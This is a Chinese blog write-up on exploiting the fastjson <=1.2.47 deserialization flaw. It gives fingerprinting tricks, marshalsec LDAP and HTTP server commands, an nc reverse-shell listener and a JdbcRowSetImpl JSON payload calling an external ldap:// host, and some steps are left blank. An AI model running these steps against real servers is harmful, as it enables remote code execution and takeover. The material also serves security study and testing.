fastjson<=1.2.47反序列化RCE漏洞

更新:2020_01_28

介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库。

漏洞原因: checkAutoType黑名单中可绕过

检测方法:

第一种:

json数据{"age":"25","name":"2"},回显正常

{"age":"25","name":"2""},多了一个双引号,回显报错

例如:多一个}也一样会报错

第二种:

fastjson 与 jackson区别,如果请求包中的 json 如下:

{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"zpchcbd":123}

这里 fastjson 是不会报错的, 但是Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多key,所以会报错,服务器的响应包中多少会有异常回显。


利用过程:

漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

攻击机器的java版本如下:

1、开始相应的服务:

ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机器的ip/#Exploit

http服务python -m http.server 8888

2、在攻击机上把Exploit.java编译好的Exploit.class字节码放在http服务的目录中

3、利用payload如下:

4、开启nc监听反弹:nc -lvvp 8888,反弹shell成功


注意点:

第一点:如下jdk版本不存在漏洞

原因:java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

第二点:Exploit.java漏洞利用文件最好用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6

第三点:如果是json字符串中name字段存在反序列化的情况

{"id":"1","name":"wangwei"}

那么poc就是

{
"id":"1",

"name":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"},
    "x":{"@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":
    "ldap://fatjaon.tuq75v.ceye.io",
    "autoCommit":true
    }
}

参考文章:https://xz.aliyun.com/t/7104

posted @ 2019-10-18 12:46  zpchcbd  阅读(1019)  评论(0编辑  收藏